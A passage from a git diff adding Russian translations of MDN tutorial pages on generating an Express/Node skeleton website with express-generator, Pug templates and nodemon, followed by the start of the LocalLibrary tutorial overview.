href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">учебнике Express</a> показывает, как создать каркас проекта веб-сайта, который позже можно будет заполнить с помощью путей сайта, шаблонов представлений и обращений к базе данных.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимые знания:</th> + <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Установить среду разработки Node</a>. Просмотреть учебник Express.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Научиться запускать свои проекты используя <em>Express Application Generator</em>.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>В этой статье показано, как создать каркас сайта с помощью средства <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a>. Каркас затем можно будет заполнить с помощью путей сайта, шаблонов/представлений и обращений к базе данных. Мы используем это средство для создания основы нашего <a>сайта Local Library</a>. К основе будет добавлен код, необходимый сайту. Создание каркаса чрезвычайно просто -- требуется только вызвать генератор в командной строке, указав имя нового проекта, дополнительно можно указать также движок шаблона сайта и генератор CSS.</p> + +<p>Далее показано, как вызвать генератор приложений, и даётся небольшое пояснение различных вариантов представлений и CSS. Мы поясним структуру каркаса веб-сайта. В конце мы покажем, как запустить веб-сайт, чтобы убедиться, что он работает.</p> + +<div class="note"> +<p><span style="line-height: 1.5;"><strong>Замечание</strong>: </span><em>Express Application Generator</em> — не единственный генератор Express-приложений, и созданный проект --не единственный жизнеспособный способ организации ваших файлов и каталогов. Однако созданный сайт имеет модульную структуру, которую легко понять и расширить. О <em>минимальном</em> Express приложении смотрите <a href="https://expressjs.com/en/starter/hello-world.html">Hello world example</a> в документации Express.</p> +</div> + +<h2 id="Применение_генератора_приложений">Применение генератора приложений</h2> + +<p>Вы уже должны были устанавить <code>express-generator</code>, читая статью <a>установка среды разработки Node</a>. Напомним, что генератор установлен с помощью менеджера пакетов NPM, при выполнении команды:</p> + +<pre class="brush: bash notranslate"><code>npm install express-generator -g</code> +</pre> + +<p><code>E</code><code>xpress-generator </code>имеет ряд параметров, которые можно увидеть, выполнив команду express --help (или express -h):</p> + +<pre class="brush: bash notranslate">> express --help + + Usage: express [options] [dir] + + Options: + + -h, --help output usage information (информация по применению) + --version output the version number (номер версии express) + -e, --ejs add ejs engine support (добавить поддержку движка ejs) + --pug add pug engine support (добавить поддержку движка pug) + --hbs add handlebars engine support (добавить поддержку движка handlebar) + -H, --hogan add hogan.js engine support (добавить поддержку движка hogan.js) + -v, --view <engine> add view <engine> support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade) + (добавить поддержку движков представлений. По умолчанию - jade) + -c, --css <engine> add stylesheet <engine> support (less|stylus|compass|sass) (defaults to plain css) + (добавить поддержку движков стилей, по умолчанию - простой CSS) + --git add .gitignore (добавить поддержку .gitignore) + -f, --force force on non-empty directory (работать в каталоге с файлами) +</pre> + +<p>Команда <code>express</code> создаст проект в <em>текущем</em> каталоге с использованием (устаревшего) движка представления <em>Jade</em> и обычного CSS. Если указать <font face="Courier New, monospace">express </font><font face="Courier New, monospace">name</font>, проект будет создан в подкаталоге name текущего каталога. </p> + +<pre class="brush: bash notranslate"><code>express</code></pre> + +<p>Можно выбрать движок представления (шаблон), используя --<code>view; </code><code><font face="Times New Roman, serif">параметр</font></code><code> --</code><code>css </code> позволяет выбрать движок для создания CSS.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Другие опции (<code>--hogan</code>, <code>--ejs</code>, <code>--hbs</code> и пр.) для выбора шаблонизатора устарели. Используйте <code>--view</code> (или<code> -v</code>)!</p> +</div> + +<h3 id="Какой_движок_представлений_следует_использовать">Какой движок представлений следует использовать?</h3> + +<p><em>Express-generator</em><em> </em>дает возможность сконфигурировать несколько популярных движков, включая <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, и <a href="https://www.npmjs.com/package/vash">Vash</a>, но по умолчанию выбран Jade. Экспресс сразу после установки может поддерживать большое количество и других шаблонизаторов.</p> + +<div class="note"> +<p><strong>Заметка:</strong> При желании использовать шаблонизатор, который не поддерживается генератором, просмотрите документацию <a href="https://expressjs.com/en/guide/using-template-engines.html"><font color="#3d7e9a"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3">Using template engines with Express</font></font></font></a><font color="#333333"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3"> </font></font></font> и документацию для нужного шаблонизатора.</p> +</div> + +<p>Как правило, следует выбрать шаблонизатор, который имеет весь необходимый вам функционал и обеспечивает вам высокую производительность - так же, как вы выбираете любой другой компонент! Некоторые критерии для сравнения шаблонизаторов:</p> + +<ul> + <li>Время до получения результата — если ваша команда уже имела дело с шаблонизатором, то, скоре всего, продуктивнее будет использовать этот шаблонизатор. Если нет, тогда следует учесть все относительные сложности изучения кандидатов в шаблонизаторы.</li> + <li>Популярность и активность — проверьте популярность движка, возможно, у него есть активное сообщество. Очень важно иметь поддержку для движка, если у вас возникнут проблемы в течении жизни вебсайта.</li> + <li>Стиль — некоторые шаблонизаторы используют особую разметку для отображения вставленного контента внутри "обычного" HTML, а другие строят HTML, используя специальный синтаксис (например, используя отступы или блочные имена).</li> + <li>Производительность и время интерпретации.</li> + <li>Особенности — следует выбирать движок с учетом таких особенностей: + <ul> + <li>Наследование макета: позволяет определить базовый шаблон и затем наследовать только те части, которые отличаются для конкретной страницы. Это, как правило, лучший подход, чем создание шаблонов путём включения нескольких необходимых компонентов или создания шаблона с нуля каждый раз.</li> + <li>Поддержка «Include»: позволяет создавать шаблоны, включая другие шаблоны.</li> + <li>Краткий синтаксис управления переменными и циклами.</li> + <li>Возможность фильтровать значения переменных на уровне шаблона (например, делать переменные в верхнем регистре или форматировать значение даты).</li> + <li>Возможность создавать выходные форматы, отличные от HTML (например, JSON или XML).</li> + <li>Поддержка асинхронных операций и потоковой передачи.</li> + <li> Возможность использования как на клиенте, так и на сервере. Возможность применения движка шаблона на клиенте позволяет обслуживать данные и выполнять все действия или их большую часть на стороне клиента.</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>Совет:</strong> В интернете множество ресурсов, которые помогут сравнить различные варианты!</p> +</div> + +<p>Для этого проекта мы используем шаблонизатор <a href="https://pugjs.org/api/getting-started.html">Pug</a> (в прошлом назывался Jade) -- один из популярнейших Express/JavaScript шаблонизаторов, который поддерживается в Express-generator "из коробки".</p> + +<h3 id="Какие_шаблонизаторы_CSS_следует_использовать">Какие шаблонизаторы CSS следует использовать?</h3> + +<p><em>Express Application Generator</em> позволяет создавать проекты, настроенные для применения шаблонизаторов CSS: <a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>.</p> + +<div class="note"> +<p><strong>Заметка: </strong>простой<strong> </strong>CSS имеет некоторые ограничения, затрудняющие выполнение задач. Шаблонизаторы CSS позволяют использовать более эффективный подход для создании таблиц стилей CSS, но требуют компиляции файлов таблиц стилей в стандартный CSS для применения в браузере.</p> +</div> + +<p>Как и в случае с шаблонизаторами сайта, следует применять шаблонизатор, обеспечивающий высокую производительность работы. В этом проекте мы используем обычный CSS (по умолчанию), поскольку простота наших требований к CSS не оправдает применение чего-то более сложного.</p> + +<h3 id="Какую_базу_данных_следует_использовать">Какую базу данных следует использовать?</h3> + +<p>Сгенерированный код не использует и не содержит в себе какой-либо базы данных. <em>Express</em> может использовать любой движок <a href="https://expressjs.com/en/guide/database-integration.html">базы данных</a>, который поддерживается <em>Node</em> (<em>Express</em> не предъявляет каких-либо особых требований к базе данных).</p> + +<p>Мы обсудим взаимодействие с базой данных в следующей статье.</p> + +<h2 id="Создание_проекта">Создание проекта</h2> + +<p>Разрабатывая пример - приложение <em>Local Library, </em>мы построим проект с именем <em>express-locallibrary-tutorial. </em>Используем библиотеку шаблонов Pug, а движок CSS применять не будем.</p> + +<p>Выберем место для нового проекта — каталог <font face="Courier New, monospace">express-locallibrary-tutorial - </font><font face="Times New Roman, serif">и выполним</font><font face="Courier New, monospace"> </font>команду:</p> + +<pre class="brush: bash notranslate">express express-locallibrary-tutorial --view=pug +</pre> + +<p>Будет создан каталог <font face="Courier New, monospace">express-locallibrary-tutorial </font><font face="Times New Roman, serif">и выведен список созданных внутри каталога проектных файлов</font>.</p> + +<pre class="brush: bash notranslate"> create : express-locallibrary-tutorial + create : express-locallibrary-tutorial/package.json + create : express-locallibrary-tutorial/app.js + create : express-locallibrary-tutorial/public/images + create : express-locallibrary-tutorial/public + create : express-locallibrary-tutorial/public/stylesheets + create : express-locallibrary-tutorial/public/stylesheets/style.css + create : express-locallibrary-tutorial/public/javascripts + create : express-locallibrary-tutorial/routes + create : express-locallibrary-tutorial/routes/index.js + create : express-locallibrary-tutorial/routes/users.js + create : express-locallibrary-tutorial/views + create : express-locallibrary-tutorial/views/index.pug + create : express-locallibrary-tutorial/views/layout.pug + create : express-locallibrary-tutorial/views/error.pug + create : express-locallibrary-tutorial/bin + create : express-locallibrary-tutorial/bin/www + + install dependencies: + > cd express-locallibrary-tutorial && npm install + + run the app: + > SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + +<p>После списка файлов генератор выведет инструкции для установки зависимостей (указанных в файле <strong>package.json</strong>) и запуска приложения (инструкции предназначены для Windows; для Linux/Mac OS X они могут слегка отличаться).</p> + +<h2 id="Запускаем_каркас_сайта">Запускаем каркас сайта</h2> + + + +<p>Сейчас у нас есть готовый каркас проекта. Сайт пока ничего не делает, но его стоит запустить, чтобы убедиться в его работоспособности.</p> + + + +<ol> + <li>Прежде всего установим зависимости (команда <code>install</code> запросит все пакеты зависимостей, указанные в файле<strong> package.json</strong>). + + <pre class="brush: bash notranslate">cd express-locallibrary-tutorial +npm install</pre> + </li> + <li>Затем запустим приложение. + <ul> + <li>В Windows используйте команду: + <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + </li> + <li>В Mac OS X или Linux используйте команду: + <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm start +</pre> + </li> + </ul> + </li> + <li>Откроем <a href="http://localhost:3000/">http://localhost:3000/</a> в браузере. Мы должны увидеть такую страницу:</li> +</ol> + +<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p> + +<p>У нас получилось веб-приложение на базе Express, работающее по адресу <em>localhost:3000</em>.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Можно также запустить приложение командой <code>npm start</code>. Переменная DEBUG, указанная в примере, включает логгирование в консоль для дальнейшей отладки. Так, при посещении страницы веб-приложения, вы увидите похожий вывод в консоль:</p> + +<pre class="brush: bash notranslate">>SET DEBUG=express-locallibrary-tutorial:* & npm start + +> express-locallibrary-tutorial@0.0.0 start D:\express-locallibrary-tutorial +> node ./bin/www + + express-locallibrary-tutorial:server Listening on port 3000 +0ms +GET / 200 288.474 ms - 170 +GET /stylesheets/style.css 200 5.799 ms - 111 +GET /favicon.ico 404 34.134 ms - 1335</pre> +</div> + +<h2 id="Обеспечиваем_перезапуск_сервера_при_изменении_файлов">Обеспечиваем<br> + перезапуск сервера при изменении файлов</h2> + +<p>Любые изменения, внесенные на веб-сайт Express, не будут отображаться до перезапуска сервера. Остановка (Ctrl-C) и перезапуск сервера каждый раз после внесения изменений быстро становится раздражающей, поэтому стоит автоматизировать перезапуск.</p> + +<p>Одно из самых простых средств для этого --<br> + <a href="https://github.com/remy/nodemon">nodemon</a>. Его обычно устанавливают глобально (так как это "инструмент"), но сейчас мы устанавим его и будем применять локально как зависимость разработки, так что любые разработчики проекта получат его автоматически при установке приложения. Выполним следующую команду (предполагаем, что мы находимся в корневом каталоге):</p> + +<pre class="brush: bash notranslate">npm install --save-dev nodemon</pre> + + + +<p>Если вы предпочитаете установить nodemon глобально, не только для этого проекта, надо выполнить команду</p> + + + +<pre class="notranslate"><code><font color="#333333"><font face="Consolas, Monaco, Andale Mono, Ubuntu Mono, monospace"><font size="3">npm install -g nodemon</font></font></font></code></pre> + + + +<p>В файле <strong>package.json </strong>проекта появится новый раздел с этой зависимостью (на вашей машине номер версии nodemon может бытьдругим) :</p> + +<pre class="brush: json notranslate"> "devDependencies": { + "nodemon": "^1.11.0" + } +</pre> + +<p>Поскольку nodemon не установлен глобально, его нельзя запустить из командной строки (пока мы не добавим его в путь), но его можно вызвать из сценария NPM, так как NPM знает все об установленных пакетах. Раздел <code>scripts</code> в файле package.json исходно будет содержать одну строку, которая начинается с <code>"start"</code>. Обновите его, поставив запятую в конце строки, и добавьте строку <code>"devstart",</code> показанную ниже:</p> + +<pre class="brush: json notranslate"> "scripts": { + "start": "node ./bin/www"<strong>,</strong> +<strong> "devstart": "nodemon ./bin/www"</strong> + }, +</pre> + +<p>Теперь можно запустить сервер почти так же, как и ранее, но командой npm run devstart:</p> + +<ul> + <li>В Windows:</li> +</ul> + +<pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong></pre> + +<ul> + <li>Для macOS или Linux:</li> +</ul> + +<pre class="notranslate"><code>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></code></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Сейчас после изменения любого файла проекта сервер будет перезапускаться (или можно самостоятельно перезапустить его, введя <code>rs</code> в командной строке). Вам все равно придется обновить страницу в браузере .</p> + +<p>Теперь мы должны выполнять команду "<code>npm run </code><em><scriptname></em>" а не просто <code>npm start</code>, поскольку "start", это, по сути, команда NPM, сопоставленная сценарию в файле package.json. Можно заменить команду в сценарии "start", но, так как мы хотим использовать nodemon только во время разработки, разумно создать новую команду сценария.</p> +</div> + +<h2 id="Созданный_проект">Созданный проект</h2> + +<p>Давайте посмотрим на созданный проект.</p> + +<h3 id="Структура_каталогов">Структура каталогов</h3> + +<p>После установки зависимостей проект имеет такую структуру файлов (файлы - это элементы <strong>без </strong>префикса"/"). Файл <strong>package.json</strong> определяет имя файла с приложением, сценарии запуска, зависимости и др. Сценарий запуска задает точку входа приложения, у нас -- файл JavaScript <strong>/bin/www</strong>. Этот файл настраивает некоторые обработчики ошибок приложения, а затем загружает <strong>app.js </strong>для выполнения остальной работы. Пути приложения хранятся в отдельных модулях каталога <strong>routes/</strong>. Шаблоны хранятся в каталоге /<strong>views</strong>.</p> + +<pre class="notranslate">/express-locallibrary-tutorial + <strong>app.js</strong> + /bin + <strong>www</strong> + <strong>package.json</strong> + /node_modules + [about 4,500 subdirectories and files] + /public + /images + /javascripts + /stylesheets + <strong>style.css</strong> + /routes + <strong>index.js</strong> + <strong>users.js</strong> + /views + <strong>error.pug</strong> + <strong>index.pug</strong> + <strong>layout.pug</strong> + +</pre> + +<p>Далее файлы описаны более подробно.</p> + +<h3 id="package.json">package.json</h3> + +<p>Файл <strong>package.json </strong>указывает зависимости приложения и содержит другие данные:</p> + +<pre class="brush: json notranslate">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, + "dependencies": { + "body-parser": "~1.15.2", + "cookie-parser": "~1.4.3", + "debug": "~2.2.0", +<strong> "express": "~4.14.0",</strong> + "morgan": "~1.7.0", +<strong> "pug": "~2.0.0-beta6",</strong> + "serve-favicon": "~2.3.0" + }, + "devDependencies": { + "nodemon": "^1.11.0" + } +}</pre> + +<p>Зависимости включают пакет express и пакет для выбранного движка представления (pug). Кроме того, указаны пакеты, полезные во многих веб-приложениях:</p> + +<ul> + <li><a href="https://www.npmjs.com/package/body-parser">body-parser</a>: -- анализирует часть тела входящего запроса HTTP и облегчает извлечение из него различных частей. Например, мы можно читать <code>POST-</code>параметры.</li> + <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: разбирает заголовок и заполняет <code>req.cookies</code> (по сути, дает удобный метод для доступа к информации cookie).</li> + <li><a href="https://www.npmjs.com/package/debug">debug</a>: небольшой отладчик, работающий по образцу методики отладки ядра node.</li> + <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: средство логгирования запросов HTTP для node.</li> + <li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: средство обработки <a href="https://en.wikipedia.org/wiki/Favicon">favicon</a> (значка, используемого для представления сайта на вкладках браузера, закладках и т. д).</li> +</ul> + +<p>Раздел "scripts" определяет скрипт" start", выполняемый при запуске сервера командой <code>npm start</code>. Можно видеть, что самом деле выполняется команда node <strong>./bin/www</strong>. Кроме того, определяется script "<em>devstart</em>", который вызывается командой <code>npm run devstart</code>. Запускается тот же файл <strong>./bin/www</strong> ,но командой <em>nodemon</em> вместо <em>node</em>.</p> + +<pre class="notranslate"><code>"scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + },</code></pre> + +<h3 id="Файл_www">Файл www</h3> + +<p>Файл <strong>/bin/www</strong> – это входная точка приложения. Сначала в файле создается объект основного приложения, расположенного в app.js — выполняется app=<code>require(./</code><code>app</code><code>).</code></p> + +<pre class="brush: js notranslate">#!/usr/bin/env node + +/** + * Module dependencies. + */ + +<strong>var app = require('../app');</strong> +</pre> + +<div class="note"> +<p><strong>Заметка:</strong> <code>require()</code> -- это глобальная функция node для импорта модулей в текущий файл. Для модуля <strong>app.js </strong>указан относительный путь, а расширение файла по умолчанию (.js) опущено.</p> +</div> + +<p>Оставшаяся часть кода настраивает порт сервера node для HTTP (определен в переменной среды или 3000, если не определен), и начинает прослушивание и протоколирование соединений и ошибок сервера. Сейчас вам не требуется дополнительных сведений о коде (все в этом файле шаблонно), но, при желании, его можно посмотреть.</p> + +<h3 id="Файл_app.js">Файл app.js</h3> + +<p>Этот файл создает объект приложения <code>express </code>(с именем<code>app</code>, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведенном ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:</p> + +<pre class="brush: js notranslate"><code>var express = require('express'); +var app = express(); +... +</code>module.exports = app; +</pre> + +<p>Именно этот экспортированный объект использован в рассмотренном ранее файле www.</p> + +<p>Рассмотрим детали файла app.js. Сначала при помощи require(...) выполняется импорт некоторых полезных библиотек node: <em>express,</em> s<em>erve-favicon</em>, <em>morgan</em>, <em>cookie-parse, body-parser </em>(они ранее были загружены для нашего приложения командой npm install), а также path из основной библиотеки node (применяется для разбора путей каталогов и файлов).</p> + +<pre class="brush: js notranslate">var express = require('express'); +var path = require('path'); +var favicon = require('serve-favicon'); +var logger = require('morgan'); +var cookieParser = require('cookie-parser'); +var bodyParser = require('body-parser'); +</pre> + +<p>Затем require запрашивает модули из каталога путей route. Эти модули и файлы содержат код для обработки конкретного набора соответствующих путей (URL маршрутов). Если мы расширим каркас приложения, например, чтобы получить список книг библиотеки, нам следует добавить новый файл для обработки пути, связанного с книгами.</p> + +<pre class="brush: js notranslate">var index = require('./routes/index'); +var users = require('./routes/users'); +</pre> + +<div class="note"> +<p><strong>Заметка:</strong> Здесь мы только импортируем модули. В действительности эти пути еще не используются — это произойдет в файле несколько позже.</p> +</div> + +<p>Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаем значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаем значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").</p> + +<pre class="brush: js notranslate">var app = express(); + +// view engine setup +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'pug'); +</pre> + +<p>Следующие строки вызывают app.use(...), чтобы добавить промежуточные (middleware) библиотеки в цепочку обработки запросов. Кроме сторонних библиотек, импортированных ранее, используем библиотеку Express.static, что позволит обрабатывать статические файлы из папки <strong>/public </strong>корня проекта.</p> + +<pre class="brush: js notranslate">// uncomment after placing your favicon in /public +//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico'))); +app.use(logger('dev')); +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: false })); +app.use(cookieParser()); +<strong>app.use(express.static(path.join(__dirname, 'public')));</strong> +</pre> + +<p>Теперь, когда промежуточные библиотеки настроены, мы добавляем (импортированный ранее) код обработки путей в цепочку обработки запросов. Импортированный код будет задавать отдельные пути для разных частей сайта:</p> + +<pre class="brush: js notranslate">app.use('/', index); +app.use('/users', users); +</pre> + +<div class="note"> +<p><strong>Заметка:</strong> . пути, указанные выше ('/' и '<code>/users'</code>) рассматриваются как префиксы путей, определенных в импортированных файлах. Так, например, если импортированный модуль users определяет путь для /profile, для доступа следует указать /users/profile. Мы поговорим подробнее о путях в последующей статье.</p> +</div> + +<p>Последняя в файле промежуточная библиотека добавляет методы обработки ошибок и ответов 404 от HTTP.</p> + +<pre class="brush: js notranslate">// catch 404 and forward to error handler +app.use(function(req, res, next) { + var err = new Error('Not Found'); + err.status = 404; + next(err); +}); + +// error handler +app.use(function(err, req, res, next) { + // set locals, only providing error in development + res.locals.message = err.message; + res.locals.error = req.app.get('env') === 'development' ? err : {}; + + // render the error page + res.status(err.status || 500); + res.render('error'); +}); +</pre> + +<p>Объект app приложения Express теперь полностью настроен. Остался последний шаг - добавить его к экпортируемым элементам модуля (это позволит импортировать его в файле <strong>/bin/www</strong>).</p> + +<pre class="brush: js notranslate">module.exports = app;</pre> + +<h3 id="Пути_Routes">Пути (Routes)</h3> + +<p>Файл путей /routes/users.js приведен ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задается путь, и, наконец, объект-роутер экспортируется из модуля (именно это позволяет импортировать файл в app.js):.</p> + +<pre class="brush: js notranslate">var express = require('express'); +var router = express.Router(); + +/* GET users listing. */ +<strong>router.get('/', function(req, res, next) { + res.send('respond with a resource'); +});</strong> + +module.exports = router; +</pre> + +<p>Путь определяет функцию обратного вызова (далее — callback-функцию), которая будет вызвана, когда обнаружится HTTP GET-запрос корректного вида. Образец для сопоставления пути задается при импорте модуля -- ('<code>/users</code>') плюс что-то, определяемое в этом файле ('<code>/</code>'). Иными словами, этот путь будет использован, когда получен URL-запрос <code>/users/</code>.</p> + +<div class="note"> +<p><strong>Совет:</strong> запустите сервер и задайте в браузере URL <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. Вы должны увидеть<strong> </strong>сообщение: 'respond with a resource'.</p> +</div> + +<p>Стоит отметить, что callback-функция имеет третий аргумент - '<code>next</code>', т. е. является не простой callback-функцией, а callback-функцией промежуточного модуля. Пока третий аргумент не используется, но будет полезен в дальнейшем, если мы захотим создать несколько обработчиков пути <code><font color="#333333"><font face="consolas, Liberation Mono, courier, monospace"><font size="3">'/'</font></font></font></code>.</p> + +<h3 id="Представления_шаблоны">Представления (шаблоны)</h3> + +<p>Файлы преставлений (шаблонов) хранятся в каталоге <strong><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3">/views </font></font></font></strong><font color="#333333"><font face="Times New Roman, serif"><font size="3">(это указано в </font></font><font face="Courier New, monospace"><font size="3">app.js</font></font><font face="Times New Roman, serif"><font size="3">) и имеют расширение</font></font></font><strong><font color="#333333"><font face="Times New Roman, serif"><font size="3"> </font></font></font></strong><strong>.pug</strong>. Метод <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> выполняет указанный шаблон, передавая объекту значение именованной переменной, и затем посылает результат как ответ. В коде из <strong>/routes/index.js</strong> (приводится ниже) можно увидеть, что роут отвечает, используя шаблон "index" с переданным значением переменной "title" из шаблона.</p> + +<pre class="brush: js notranslate">/* GET home page. */ +router.get('/', function(req, res) { + res.render('index', { title: 'Express' }); +}); +</pre> + +<p>Шаблон для пути '/' приведен ниже (файл <strong>index.pug</strong>). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определенное место шаблона.</p> + +<pre class="notranslate">extends layout + +block content + h1= title + p Welcome to #{title} +</pre> + +<h2 id="Мини-тест">Мини-тест</h2> + +<p>Создайте новый путь в <strong>/routes/users.js</strong>, чтобы выводить текст <strong>"</strong><em>You're so cool" </em>или<em> </em><em>"</em><em>Ну, вы крутой!</em><em>" </em>по URL<em> </em><code>/users/cool/</code><em>. </em>Проверьте его, запустив сервер и посетив в браузере <em><a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a>.</em></p> + +<ul> +</ul> + +<h2 id="Итоги">Итоги</h2> + + + +<p>Сейчас создан каркас проекта <a>Local Library</a>. Мы проверили, что он запускается с использованием Node. Но главное, что вы поняли структуру проекта, и знаете, где и как добавить пути и представления для нашей локальной библиотеки.</p> + +<p lang="ru-RU">Далее мы изменим каркас, чтобы он работал как библиотечный вебсайт</p> + +<h2 id="Смотри_также">Смотри также</h2> + +<ul> + <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (документация Express)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engi nes with Express</a> (документация Express) </li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> diff --git a/files/ru/learn/server-side/express_nodejs/учебник_сайт_local_library/index.html b/files/ru/learn/server-side/express_nodejs/учебник_сайт_local_library/index.html new file mode 100644 index 0000000000..c7e821248e --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/учебник_сайт_local_library/index.html @@ -0,0 +1,73 @@ +--- +title: 'Учебник Express: сайт Local Library' +slug: Learn/Server-side/Express_Nodejs/Учебник_сайт_local_library +tags: + - Express + - Node + - nodejs + - Введение + - Для начинающих + - Серверная часть + - Учебник +translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Первая статья в нашей серии практических уроков объясняет, что вы будете изучать, и предоставит обзор сайта "локальной библиотеки" ("local library"), над которым мы будем работать и развивать в последующих статьях.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимые знания:</th> + <td>Прочтите <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Введение в Express</a>. Для следования статьям вам также надо будет <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">установить среду разработки Node</a>. </td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Представить пример приложения, используемого в этом учебнике, и позволить читателям понять, какие темы будут рассмотрены. </td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">Добро пожаловать в учебник MDN «Local Library» Express (Node), в котором мы разрабатываем веб-сайт, который может использоваться для управления каталогом локальной библиотеки.</span></p> + +<div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">В этой серии обучающих статей вы будете:</span></div> + +<ul> + <li>Использовать инструмент <em>Express Application Generator</em> для создания веб-сайта и скелета приложения.</li> + <li>Запускать и останавливать веб сервер Node.</li> + <li>Использовать базу данных для хранения данных вашего приложения.</li> + <li>Создавать маршруты для запросов различной информации и шаблонов ("представлений") для рендеринга данных в виде HTML для отображения в браузере.</li> + <li>Работать с формами.</li> + <li>Развертывать ваше приложение в производство.</li> +</ul> + +<p>Вы уже имеете знания о некоторых из этих тем и кратко касались других. К концу серии уроков вы должны знать достаточно, чтобы разрабатывать простые приложения Express самостоятельно.</p> + +<h2 id="Сайт_LocalLibrary">Сайт LocalLibrary</h2> + +<p><em>LocalLibrary</em> это название сайта который мы будем создавать и развивать в ходе прохождения этого курса уроков. Как и следовало ожидать, цель сайта - предоставить онлайн-каталог для небольшой локальной библиотеки, где пользователи могут просматривать доступные книги и управлять своими учётными записями.</p> + +<p>Этот пример был тщательно подобран, потому что он может масштабироваться, чтобы отображать насколько можно много или мало записей, и может использоваться для демонстрации почти любой возможности Express. Что ещё более важно, это позволяет нам обеспечить <em>управляемый</em> путь через функциональность, которая вам понадобится на любом веб-сайте:</p> + +<ul> + <li><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">В первых учебных статьях мы определим простую библиотеку, доступную <em>только для просмотра</em>, которую могут использовать члены библиотеки, чтобы узнать, какие книги доступны.</span> <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_1">Это позволяет нам исследовать операции, общие для почти каждого сайта: чтение и отображение содержимого из базы данных</span>.</li> + <li><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">По мере нашего развития, пример библиотеки, естественно, будет расширяться, чтобы продемонстрировать более продвинутые функции веб-сайта.</span> <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_1">Например, мы можем расширить библиотеку, чтобы разрешить создание новых книг, и использовать это, чтобы продемонстрировать, как использовать формы, а также поддерживать аутентификацию пользователей</span>.</li> +</ul> + +<p>Несмотря на то, что это очень масштабируемый пример, он называется <em><strong>Local</strong>Library,</em> потому что мы надеемся показать минимальную информацию, которая поможет быстро начать работать с Express. В результате мы будем хранить информацию о книгах, копиях книг, авторов и другой ключевой информации. Однако, мы не будем хранить информацию о других предметах, которые может предоставить библиотека, или предоставить инфраструктуру, необходимую для поддержки нескольких 